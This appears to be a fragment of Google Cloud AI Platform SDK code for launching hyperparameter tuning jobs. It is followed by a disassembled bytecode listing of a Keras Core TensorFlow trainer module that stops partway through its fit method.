https://cloud.google.com/vertex-ai/docs/experiments/tensorboard-training sync (bool): Whether to execute this method synchronously. If False, this method will unblock and it will be executed in a concurrent Future. create_request_timeout (float): Optional. The timeout for the create request in seconds. disable_retries (bool): Indicates if the job should retry for internal errors after the job starts running. If True, overrides `restart_job_on_worker_restart` to False. """ if service_account: self._gca_resource.trial_job_spec.service_account = service_account if network: self._gca_resource.trial_job_spec.network = network if timeout or restart_job_on_worker_restart or disable_retries: duration = duration_pb2.Duration(seconds=timeout) if timeout else None self._gca_resource.trial_job_spec.scheduling = ( gca_custom_job_compat.Scheduling( timeout=duration, restart_job_on_worker_restart=restart_job_on_worker_restart, disable_retries=disable_retries, ) ) if enable_web_access: self._gca_resource.trial_job_spec.enable_web_access = enable_web_access if tensorboard: self._gca_resource.trial_job_spec.tensorboard = tensorboard _LOGGER.log_create_with_lro(self.__class__) self._gca_resource = self.api_client.select_version( "v1beta1" ).create_hyperparameter_tuning_job( parent=self._parent, hyperparameter_tuning_job=self._gca_resource, timeout=create_request_timeout, ) _LOGGER.log_create_complete_with_getter( self.__class__, self._gca_resource, "hpt_job" ) _LOGGER.info("View HyperparameterTuningJob:\n%s" % self._dashboard_uri()) if tensorboard: _LOGGER.info( "View Tensorboard:\n%s" % console_utils.custom_job_tensorboard_console_uri( tensorboard, self.resource_name ) ) self._block_until_complete()
data/google-cloud-aiplatform-1.42.1/google/cloud/aiplatform/preview/jobs.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME contextlib STORE_NAME contextlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tensorflow STORE_NAME tf LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tree STORE_NAME tree LOAD_CONST 0 LOAD_CONST ('Version',) IMPORT_NAME packaging.version IMPORT_FROM Version STORE_NAME Version POP_TOP LOAD_CONST 0 LOAD_CONST ('context',) IMPORT_NAME tensorflow.python.eager IMPORT_FROM context STORE_NAME tf_context POP_TOP LOAD_CONST 0 LOAD_CONST ('callbacks',) IMPORT_NAME keras_core.src IMPORT_FROM callbacks STORE_NAME callbacks_module POP_TOP LOAD_CONST 0 LOAD_CONST ('metrics',) IMPORT_NAME keras_core.src IMPORT_FROM metrics STORE_NAME metrics_module POP_TOP LOAD_CONST 0 LOAD_CONST ('optimizers',) IMPORT_NAME keras_core.src IMPORT_FROM optimizers STORE_NAME optimizers_module POP_TOP LOAD_CONST 0 LOAD_CONST ('trainer',) IMPORT_NAME keras_core.src.trainers IMPORT_FROM trainer STORE_NAME base_trainer POP_TOP LOAD_CONST 0 LOAD_CONST ('data_adapter_utils',) IMPORT_NAME keras_core.src.trainers.data_adapters IMPORT_FROM data_adapter_utils STORE_NAME data_adapter_utils POP_TOP LOAD_CONST 0 LOAD_CONST ('EpochIterator',) IMPORT_NAME keras_core.src.trainers.epoch_iterator IMPORT_FROM EpochIterator STORE_NAME EpochIterator POP_TOP LOAD_CONST 0 LOAD_CONST ('traceback_utils',) IMPORT_NAME keras_core.src.utils IMPORT_FROM traceback_utils STORE_NAME traceback_utils POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object TensorFlowTrainer at 0x7fab542ade40, file "f.py", line 19> LOAD_CONST 'TensorFlowTrainer' MAKE_FUNCTION LOAD_CONST 'TensorFlowTrainer' LOAD_NAME base_trainer LOAD_ATTR Trainer CALL_FUNCTION STORE_NAME TensorFlowTrainer LOAD_BUILD_CLASS LOAD_CONST <code object TFEpochIterator at 0x7fae2f37aa50, file "f.py", line 576> LOAD_CONST 'TFEpochIterator' MAKE_FUNCTION LOAD_CONST 'TFEpochIterator' LOAD_NAME EpochIterator CALL_FUNCTION STORE_NAME TFEpochIterator LOAD_CONST <code object reduce_per_replica at 0x7fae2f37a930, file "f.py", line 633> LOAD_CONST 'reduce_per_replica' MAKE_FUNCTION STORE_NAME reduce_per_replica LOAD_CONST <code object _multi_worker_concat at 0x7fae2f37a150, file "f.py", line 716> LOAD_CONST '_multi_worker_concat' MAKE_FUNCTION STORE_NAME _multi_worker_concat LOAD_CONST (0,) LOAD_CONST <code object concat at 0x7fae2f37a9c0, file "f.py", line 743> LOAD_CONST 'concat' MAKE_FUNCTION STORE_NAME concat LOAD_CONST <code object _tpu_multi_host_concat at 0x7fae2f37ab70, file "f.py", line 753> LOAD_CONST '_tpu_multi_host_concat' MAKE_FUNCTION STORE_NAME _tpu_multi_host_concat LOAD_CONST <code object _collective_all_reduce_multi_worker at 0x7fae2f37a030, file "f.py", line 763> LOAD_CONST '_collective_all_reduce_multi_worker' MAKE_FUNCTION STORE_NAME _collective_all_reduce_multi_worker LOAD_CONST <code object _is_per_replica_instance at 0x7fae2f37ac00, file "f.py", line 769> LOAD_CONST '_is_per_replica_instance' MAKE_FUNCTION STORE_NAME _is_per_replica_instance LOAD_CONST <code object _is_scalar at 0x7fae2f37a6f0, file "f.py", line 775> LOAD_CONST '_is_scalar' MAKE_FUNCTION STORE_NAME _is_scalar LOAD_CONST <code object _is_tpu_multi_host at 0x7fae2f37af60, file "f.py", line 779> LOAD_CONST '_is_tpu_multi_host' MAKE_FUNCTION STORE_NAME _is_tpu_multi_host LOAD_CONST <code object _is_tpu_strategy at 0x7fae2f37a660, file "f.py", line 783> LOAD_CONST '_is_tpu_strategy' MAKE_FUNCTION STORE_NAME _is_tpu_strategy LOAD_CONST <code object _is_tpu_strategy_class at 0x7fae2f37ac90, file "f.py", line 787> LOAD_CONST '_is_tpu_strategy_class' MAKE_FUNCTION STORE_NAME _is_tpu_strategy_class LOAD_CONST <code object convert_to_np_if_not_ragged at 0x7fae2f37a1e0, file "f.py", line 796> LOAD_CONST 'convert_to_np_if_not_ragged' MAKE_FUNCTION STORE_NAME convert_to_np_if_not_ragged LOAD_CONST <code object potentially_ragged_concat at 0x7fab700950c0, file "f.py", line 802> LOAD_CONST 'potentially_ragged_concat' MAKE_FUNCTION STORE_NAME potentially_ragged_concat LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TensorFlowTrainer' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab82334420, file "f.py", line 20> LOAD_CONST 'TensorFlowTrainer.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object distribute_strategy at 0x7fab82334810, file "f.py", line 34> LOAD_CONST 'TensorFlowTrainer.distribute_strategy' MAKE_FUNCTION CALL_FUNCTION STORE_NAME distribute_strategy LOAD_NAME property LOAD_CONST <code object distribute_reduction_method at 0x7fab82334a50, file "f.py", line 38> LOAD_CONST 'TensorFlowTrainer.distribute_reduction_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME distribute_reduction_method LOAD_NAME distribute_reduction_method LOAD_ATTR setter LOAD_CONST <code object distribute_reduction_method at 0x7fab82334ed0, file "f.py", line 42> LOAD_CONST 'TensorFlowTrainer.distribute_reduction_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME distribute_reduction_method LOAD_CONST <code object train_step at 0x7fab82334c90, file "f.py", line 46> LOAD_CONST 'TensorFlowTrainer.train_step' MAKE_FUNCTION STORE_NAME train_step LOAD_CONST <code object test_step at 0x7fab82334300, file "f.py", line 71> LOAD_CONST 'TensorFlowTrainer.test_step' MAKE_FUNCTION STORE_NAME test_step LOAD_CONST <code object predict_step at 0x7fab82334030, file "f.py", line 81> LOAD_CONST 'TensorFlowTrainer.predict_step' MAKE_FUNCTION STORE_NAME predict_step LOAD_CONST (False,) LOAD_CONST <code object make_train_function at 0x7fab823751e0, file "f.py", line 89> LOAD_CONST 'TensorFlowTrainer.make_train_function' MAKE_FUNCTION STORE_NAME make_train_function LOAD_CONST (False,) LOAD_CONST <code object make_test_function at 0x7fab82375ae0, file "f.py", line 135> LOAD_CONST 'TensorFlowTrainer.make_test_function' MAKE_FUNCTION STORE_NAME make_test_function LOAD_CONST (False,) LOAD_CONST <code object make_predict_function at 0x7fab823758a0, file "f.py", line 181> LOAD_CONST 'TensorFlowTrainer.make_predict_function' MAKE_FUNCTION STORE_NAME make_predict_function LOAD_NAME traceback_utils LOAD_ATTR filter_traceback LOAD_CONST (None, None, None, 1, 'auto', None, 0.0, None, True, None, None, 0, None, None, None, 1) LOAD_CONST <code object fit at 0x7fab82375810, file "f.py", line 231> LOAD_CONST 'TensorFlowTrainer.fit' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fit LOAD_NAME traceback_utils LOAD_ATTR filter_traceback LOAD_CONST (None, None, None, 'auto', None, None, None, False) LOAD_CONST <code object evaluate at 0x7fab82375e40, file "f.py", line 347> LOAD_CONST 'TensorFlowTrainer.evaluate' MAKE_FUNCTION CALL_FUNCTION STORE_NAME evaluate LOAD_NAME traceback_utils LOAD_ATTR filter_traceback LOAD_CONST (None, 'auto', None, None) LOAD_CONST <code object predict at 0x7fab542ad390, file "f.py", line 406> LOAD_CONST 'TensorFlowTrainer.predict' MAKE_FUNCTION CALL_FUNCTION STORE_NAME predict LOAD_CONST (None, None, None, False) LOAD_CONST <code object train_on_batch at 0x7fab542ad660, file "f.py", line 473> LOAD_CONST 'TensorFlowTrainer.train_on_batch' MAKE_FUNCTION STORE_NAME train_on_batch LOAD_CONST (None, None, False) LOAD_CONST <code object test_on_batch at 0x7fab542ad300, file "f.py", line 504> LOAD_CONST 'TensorFlowTrainer.test_on_batch' MAKE_FUNCTION STORE_NAME test_on_batch LOAD_CONST <code object predict_on_batch at 0x7fab542add20, file "f.py", line 523> LOAD_CONST 'TensorFlowTrainer.predict_on_batch' MAKE_FUNCTION STORE_NAME predict_on_batch LOAD_NAME property LOAD_CONST <code object compiled_metrics at 0x7fab542ad540, file "f.py", line 531> LOAD_CONST 'TensorFlowTrainer.compiled_metrics' MAKE_FUNCTION CALL_FUNCTION STORE_NAME compiled_metrics LOAD_CONST (None,) LOAD_CONST <code object _compiled_metrics_update_state at 0x7fab542addb0, file "f.py", line 541> LOAD_CONST 'TensorFlowTrainer._compiled_metrics_update_state' MAKE_FUNCTION STORE_NAME _compiled_metrics_update_state LOAD_CONST (None, None) LOAD_CONST <code object compiled_loss at 0x7fab542ad420, file "f.py", line 557> LOAD_CONST 'TensorFlowTrainer.compiled_loss' MAKE_FUNCTION STORE_NAME compiled_loss LOAD_CONST (None,) LOAD_CONST <code object loss at 0x7fab542adae0, file "f.py", line 566> LOAD_CONST 'TensorFlowTrainer.loss' MAKE_FUNCTION STORE_NAME loss LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR train_function LOAD_CONST None LOAD_FAST self STORE_ATTR test_function LOAD_CONST None LOAD_FAST self STORE_ATTR predict_function LOAD_GLOBAL tf LOAD_ATTR distribute LOAD_METHOD has_strategy CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR distribute LOAD_METHOD get_strategy CALL_METHOD LOAD_FAST self STORE_ATTR _distribute_strategy JUMP_FORWARD to 58 LOAD_CONST None LOAD_FAST self STORE_ATTR _distribute_strategy LOAD_CONST None LOAD_FAST self STORE_ATTR _distribute_reduction_method LOAD_GLOBAL Version LOAD_GLOBAL tf LOAD_ATTR __version__ CALL_FUNCTION LOAD_GLOBAL Version LOAD_CONST '2.9.0' CALL_FUNCTION COMPARE_OP >= LOAD_FAST self STORE_ATTR _supports_reduce_retracing LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _distribute_strategy JUMP_IF_TRUE_OR_POP LOAD_GLOBAL tf LOAD_ATTR distribute LOAD_METHOD get_strategy CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR _distribute_reduction_method JUMP_IF_TRUE_OR_POP LOAD_CONST 'auto' RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR _distribute_reduction_method LOAD_CONST None RETURN_VALUE LOAD_GLOBAL data_adapter_utils LOAD_METHOD unpack_x_y_sample_weight LOAD_FAST data CALL_METHOD UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST sample_weight LOAD_GLOBAL tf LOAD_METHOD GradientTape CALL_METHOD SETUP_WITH to 110 STORE_FAST tape LOAD_FAST self LOAD_ATTR _call_has_training_arg POP_JUMP_IF_FALSE LOAD_FAST self LOAD_FAST x LOAD_CONST True LOAD_CONST ('training',) CALL_FUNCTION STORE_FAST y_pred JUMP_FORWARD to 54 LOAD_FAST self LOAD_FAST x CALL_FUNCTION STORE_FAST y_pred LOAD_FAST self LOAD_ATTR compute_loss LOAD_FAST x LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('x', 'y', 'y_pred', 'sample_weight') CALL_FUNCTION STORE_FAST loss LOAD_FAST self LOAD_ATTR _loss_tracker LOAD_METHOD update_state LOAD_FAST loss CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR optimizer LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR optimizer LOAD_METHOD scale_loss LOAD_FAST loss CALL_METHOD STORE_FAST loss POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR trainable_weights POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR trainable_weights STORE_FAST trainable_weights LOAD_FAST tape LOAD_METHOD gradient LOAD_FAST loss LOAD_FAST trainable_weights CALL_METHOD STORE_FAST gradients LOAD_FAST self LOAD_ATTR optimizer LOAD_METHOD apply_gradients LOAD_GLOBAL zip LOAD_FAST gradients LOAD_FAST trainable_weights CALL_FUNCTION CALL_METHOD POP_TOP JUMP_FORWARD to 170 LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'The model does not have any trainable weights.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR compute_metrics LOAD_FAST x LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('sample_weight',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL data_adapter_utils LOAD_METHOD unpack_x_y_sample_weight LOAD_FAST data CALL_METHOD UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST sample_weight LOAD_FAST self LOAD_ATTR _call_has_training_arg POP_JUMP_IF_FALSE LOAD_FAST self LOAD_FAST x LOAD_CONST False LOAD_CONST ('training',) CALL_FUNCTION STORE_FAST y_pred JUMP_FORWARD to 44 LOAD_FAST self LOAD_FAST x CALL_FUNCTION STORE_FAST y_pred LOAD_FAST self LOAD_ATTR compute_loss LOAD_FAST x LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('x', 'y', 'y_pred', 'sample_weight') CALL_FUNCTION STORE_FAST loss LOAD_FAST self LOAD_ATTR _loss_tracker LOAD_METHOD update_state LOAD_FAST loss CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR compute_metrics LOAD_FAST x LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('sample_weight',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL data_adapter_utils LOAD_METHOD unpack_x_y_sample_weight LOAD_FAST data CALL_METHOD UNPACK_SEQUENCE STORE_FAST x STORE_FAST _ STORE_FAST _ LOAD_FAST self LOAD_ATTR _call_has_training_arg POP_JUMP_IF_FALSE LOAD_FAST self LOAD_FAST x LOAD_CONST False LOAD_CONST ('training',) CALL_FUNCTION STORE_FAST y_pred JUMP_FORWARD to 44 LOAD_FAST self LOAD_FAST x CALL_FUNCTION STORE_FAST y_pred LOAD_FAST y_pred RETURN_VALUE LOAD_DEREF self LOAD_ATTR train_function LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST force POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR train_function RETURN_VALUE LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_data at 0x7fab82334390, file "f.py", line 93> LOAD_CONST 'TensorFlowTrainer.make_train_function.<locals>.one_step_on_data' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE LOAD_CONST 'jit_compile' LOAD_DEREF self LOAD_ATTR jit_compile BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_DEREF one_step_on_data BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_data LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_iterator at 0x7fab82334f60, file "f.py", line 104> LOAD_CONST 'TensorFlowTrainer.make_train_function.<locals>.one_step_on_iterator' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_iterator LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_iterator LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object multi_step_on_iterator at 0x7fab823754b0, file "f.py", line 116> LOAD_CONST 'TensorFlowTrainer.make_train_function.<locals>.multi_step_on_iterator' MAKE_FUNCTION CALL_FUNCTION STORE_FAST multi_step_on_iterator LOAD_DEREF self LOAD_ATTR steps_per_execution LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST multi_step_on_iterator STORE_FAST train_function JUMP_FORWARD to 160 LOAD_DEREF one_step_on_iterator STORE_FAST train_function LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_FAST train_function BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST train_function LOAD_FAST train_function LOAD_DEREF self STORE_ATTR train_function LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD train_step LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_GLOBAL next LOAD_FAST iterator CALL_FUNCTION STORE_FAST data LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_ATTR run LOAD_DEREF one_step_on_data LOAD_FAST data BUILD_TUPLE LOAD_CONST ('args',) CALL_FUNCTION STORE_FAST outputs LOAD_GLOBAL reduce_per_replica LOAD_FAST outputs LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_DEREF self LOAD_ATTR distribute_reduction_method LOAD_CONST ('reduction',) CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE SETUP_LOOP to 28 LOAD_GLOBAL range LOAD_DEREF self LOAD_ATTR steps_per_execution CALL_FUNCTION GET_ITER FOR_ITER to 26 STORE_FAST _ LOAD_DEREF one_step_on_iterator LOAD_FAST iterator CALL_FUNCTION STORE_FAST outputs JUMP_ABSOLUTE POP_BLOCK LOAD_FAST outputs RETURN_VALUE LOAD_DEREF self LOAD_ATTR test_function LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST force POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR test_function RETURN_VALUE LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_data at 0x7fab82375c00, file "f.py", line 139> LOAD_CONST 'TensorFlowTrainer.make_test_function.<locals>.one_step_on_data' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR jit_compile POP_JUMP_IF_FALSE LOAD_CONST 'jit_compile' LOAD_CONST True BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_DEREF one_step_on_data BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_data LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_iterator at 0x7fab823756f0, file "f.py", line 150> LOAD_CONST 'TensorFlowTrainer.make_test_function.<locals>.one_step_on_iterator' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_iterator LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_iterator LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object multi_step_on_iterator at 0x7fab82375f60, file "f.py", line 162> LOAD_CONST 'TensorFlowTrainer.make_test_function.<locals>.multi_step_on_iterator' MAKE_FUNCTION CALL_FUNCTION STORE_FAST multi_step_on_iterator LOAD_DEREF self LOAD_ATTR steps_per_execution LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST multi_step_on_iterator STORE_FAST test_function JUMP_FORWARD to 164 LOAD_DEREF one_step_on_iterator STORE_FAST test_function LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_FAST test_function BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST test_function LOAD_FAST test_function LOAD_DEREF self STORE_ATTR test_function LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD test_step LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_GLOBAL next LOAD_FAST iterator CALL_FUNCTION STORE_FAST data LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_ATTR run LOAD_DEREF one_step_on_data LOAD_FAST data BUILD_TUPLE LOAD_CONST ('args',) CALL_FUNCTION STORE_FAST outputs LOAD_GLOBAL reduce_per_replica LOAD_FAST outputs LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_DEREF self LOAD_ATTR distribute_reduction_method LOAD_CONST ('reduction',) CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE SETUP_LOOP to 28 LOAD_GLOBAL range LOAD_DEREF self LOAD_ATTR steps_per_execution CALL_FUNCTION GET_ITER FOR_ITER to 26 STORE_FAST _ LOAD_DEREF one_step_on_iterator LOAD_FAST iterator CALL_FUNCTION STORE_FAST outputs JUMP_ABSOLUTE POP_BLOCK LOAD_FAST outputs RETURN_VALUE LOAD_DEREF self LOAD_ATTR predict_function LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST force POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR predict_function RETURN_VALUE LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_data at 0x7fab82375540, file "f.py", line 185> LOAD_CONST 'TensorFlowTrainer.make_predict_function.<locals>.one_step_on_data' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR jit_compile POP_JUMP_IF_FALSE LOAD_CONST 'jit_compile' LOAD_CONST True BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_DEREF one_step_on_data BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_DEREF one_step_on_data LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_data LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object one_step_on_data_distributed at 0x7fab82375db0, file "f.py", line 196> LOAD_CONST 'TensorFlowTrainer.make_predict_function.<locals>.one_step_on_data_distributed' MAKE_FUNCTION CALL_FUNCTION STORE_DEREF one_step_on_data_distributed LOAD_GLOBAL tf LOAD_ATTR autograph LOAD_ATTR experimental LOAD_ATTR do_not_convert LOAD_CLOSURE one_step_on_data_distributed BUILD_TUPLE LOAD_CONST <code object multi_step_on_data at 0x7fab823759c0, file "f.py", line 207> LOAD_CONST 'TensorFlowTrainer.make_predict_function.<locals>.multi_step_on_data' MAKE_FUNCTION CALL_FUNCTION STORE_FAST multi_step_on_data LOAD_DEREF self LOAD_ATTR steps_per_execution LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST multi_step_on_data STORE_FAST predict_function JUMP_FORWARD to 162 LOAD_DEREF one_step_on_data_distributed STORE_FAST predict_function LOAD_DEREF self LOAD_ATTR run_eagerly POP_JUMP_IF_TRUE BUILD_MAP STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR _supports_reduce_retracing POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD update LOAD_CONST 'reduce_retracing' LOAD_CONST True BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL tf LOAD_ATTR function LOAD_FAST predict_function BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST predict_function LOAD_FAST predict_function LOAD_DEREF self STORE_ATTR predict_function LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD predict_step LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR STORE_FAST data LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_ATTR run LOAD_DEREF one_step_on_data LOAD_FAST data BUILD_TUPLE LOAD_CONST ('args',) CALL_FUNCTION STORE_FAST outputs LOAD_GLOBAL reduce_per_replica LOAD_FAST outputs LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_DEREF self LOAD_ATTR distribute_reduction_method LOAD_CONST ('reduction',) CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE LOAD_DEREF one_step_on_data_distributed LOAD_FAST data LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION STORE_FAST outputs SETUP_LOOP to 68 LOAD_FAST data LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR GET_ITER FOR_ITER to 66 STORE_FAST single_step_data LOAD_DEREF one_step_on_data_distributed LOAD_FAST single_step_data BUILD_LIST CALL_FUNCTION STORE_FAST step_outputs LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_CONST <code object <lambda> at 0x7fab823755d0, file "f.py", line 213> LOAD_CONST 'TensorFlowTrainer.make_predict_function.<locals>.multi_step_on_data.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST outputs LOAD_FAST step_outputs CALL_METHOD STORE_FAST outputs JUMP_ABSOLUTE POP_BLOCK LOAD_FAST outputs RETURN_VALUE LOAD_GLOBAL concat LOAD_FAST t1 LOAD_FAST t2 BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _assert_compile_called LOAD_CONST 'fit' CALL_METHOD POP_TOP LOAD_FAST validation_split POP_JUMP_IF_FALSE LOAD_FAST validation_data LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL data_adapter_utils LOAD_ATTR train_validation_split LOAD_FAST x LOAD_FAST y LOAD_FAST sample_weight BUILD_TUPLE LOAD_FAST validation_split LOAD_CONST ('validation_split',) CALL_FUNCTION UNPACK_SEQUENCE UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST sample_weight STORE_FAST validation_data LOAD_FAST validation_data POP_JUMP_IF_FALSE LOAD_GLOBAL data_adapter_utils LOAD_METHOD unpack_x_y_sample_weight LOAD_FAST validation_data CALL_METHOD UNPACK_SEQUENCE STORE_FAST val_x STORE_FAST val_y STORE_FAST val_sample_weight LOAD_GLOBAL TFEpochIterator LOAD_FAST x LOAD_FAST y LOAD_FAST sample_weight LOAD_FAST batch_size LOAD_FAST steps_per_epoch LOAD_FAST shuffle LOAD_FAST class_weight LOAD_FAST self LOAD_ATTR distribute_strategy LOAD_FAST self LOAD_ATTR steps_per_execution LOAD_CONST ('x', 'y', 'sample_weight', 'batch_size', 'steps_per_epoch', 'shuffle', 'class_weight', 'distribute_strategy', 'steps_per_execution') 